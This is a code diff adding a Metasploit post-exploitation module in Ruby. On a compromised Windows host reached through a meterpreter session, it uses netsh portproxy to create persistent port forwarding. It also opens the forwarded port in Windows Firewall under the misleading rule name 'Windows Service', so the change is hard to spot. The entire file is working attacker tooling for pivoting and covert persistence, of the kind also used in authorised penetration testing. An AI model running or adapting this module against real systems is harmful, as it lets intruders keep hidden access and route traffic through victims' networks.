|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Post |
| 9 | + |
| 10 | + include Msf::Post::Windows::Priv |
| 11 | + include Msf::Post::Common |
| 12 | + |
| 13 | + def initialize(info={}) |
| 14 | + super( update_info( info, |
| 15 | + 'Name' => 'Windows Manage PortProxy Interface', |
| 16 | + 'Description' => %q{ |
| 17 | + This module uses the PortProxy interface from netsh to set up port forwarding |
| 18 | + persistently (even after reboot). PortProxy supports TCP IPv4 and IPv6 connections. |
| 19 | + }, |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'], |
| 22 | + 'Platform' => [ 'windows' ], |
| 23 | + 'SessionTypes' => [ 'meterpreter' ] |
| 24 | + )) |
| 25 | + |
| 26 | + register_options( |
| 27 | + [ |
| 28 | + OptAddress.new('LADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']), |
| 29 | + OptAddress.new('CADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']), |
| 30 | + OptInt.new( 'CPORT', [ true, 'Port number to which to connect.']), |
| 31 | + OptInt.new( 'LPORT', [ true, 'Port number to which to listen.']), |
| 32 | + OptString.new( 'TYPE', [ true, 'Type of forwarding. Valid values: v4tov4, v6tov6, v6tov4, v4tov6.',"v4tov4"]) |
| 33 | + ], self.class) |
| 34 | + end |
| 35 | + |
| 36 | + def run |
| 37 | + if not is_admin? |
| 38 | + print_error("You don't have enough privileges. Try getsystem.") |
| 39 | + return |
| 40 | + end |
| 41 | + |
| 42 | + if not ['v4tov4', 'v6tov6', 'v6tov4','v4tov6'].include? datastore['TYPE'] |
| 43 | + print_error("TYPE value incorrect. Valid values: v4tov4, v6tov6, v6tov4, v4tov6.") |
| 44 | + return |
| 45 | + end |
| 46 | + |
| 47 | + type = datastore['TYPE'] |
| 48 | + lport = datastore['LPORT'] |
| 49 | + cport = datastore['CPORT'] |
| 50 | + laddress = datastore['LADDRESS'] |
| 51 | + caddress = datastore['CADDRESS'] |
| 52 | + |
| 53 | + return if not enable_portproxy(lport,cport,laddress,caddress,type) |
| 54 | + fw_enable_ports(lport) |
| 55 | + |
| 56 | + end |
| 57 | + |
| 58 | + def enable_portproxy(lport,cport,laddress,caddress,type) |
| 59 | + # Due to a bug in Windows XP you need to install ipv6 |
| 60 | + # http://support.microsoft.com/kb/555744/en-us |
| 61 | + if sysinfo["OS"] =~ /XP/ |
| 62 | + return false if not enable_ipv6() |
| 63 | + end |
| 64 | + |
| 65 | + print_status("Setting PortProxy ...") |
| 66 | + output = cmd_exec("netsh","interface portproxy add #{type} listenport=#{lport} listenaddress=#{laddress} connectport=#{cport} connectaddress=#{caddress}") |
| 67 | + if output.size > 2 |
| 68 | + print_error("Setup error. Verify parameters and syntax.") |
| 69 | + return false |
| 70 | + else |
| 71 | + print_good("PortProxy added.") |
| 72 | + end |
| 73 | + |
| 74 | + output = cmd_exec("netsh","interface portproxy show all") |
| 75 | + print_status("Local IP\tLocal Port\tRemote IP\tRemote Port") |
| 76 | + output.each_line do |l| |
| 77 | + print_status("#{l.chomp}") if l.strip =~ /^[0-9]|\*/ |
| 78 | + end |
| 79 | + return true |
| 80 | + end |
| 81 | + |
| 82 | + def enable_ipv6() |
| 83 | + print_status("Checking IPv6. This could take a while ...") |
| 84 | + cmd_exec("netsh","interface ipv6 install",120) |
| 85 | + output = cmd_exec("netsh","interface ipv6 show global") |
| 86 | + if output =~ /-----/ |
| 87 | + print_good("IPV6 installed.") |
| 88 | + return true |
| 89 | + else |
| 90 | + print_error("IPv6 was not successfully installed. Run it again.") |
| 91 | + return false |
| 92 | + end |
| 93 | + end |
| 94 | + |
| 95 | + def fw_enable_ports(port) |
| 96 | + print_status ("Setting port #{port} in Windows Firewall ...") |
| 97 | + begin |
| 98 | + if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/ |
| 99 | + cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{port}\"") |
| 100 | + else |
| 101 | + cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{port}\"") |
| 102 | + end |
| 103 | + output = cmd_exec("netsh","firewall show state") |
| 104 | + |
| 105 | + if output =~ /^#{port} / |
| 106 | + print_good("Port opened in Windows Firewall.") |
| 107 | + else |
| 108 | + print_error("There was an error enabling the port.") |
| 109 | + end |
| 110 | + rescue::Exception => e |
| 111 | + print_status("The following Error was encountered: #{e.class} #{e}") |
| 112 | + end |
| 113 | + end |
| 114 | +end |
0 commit comments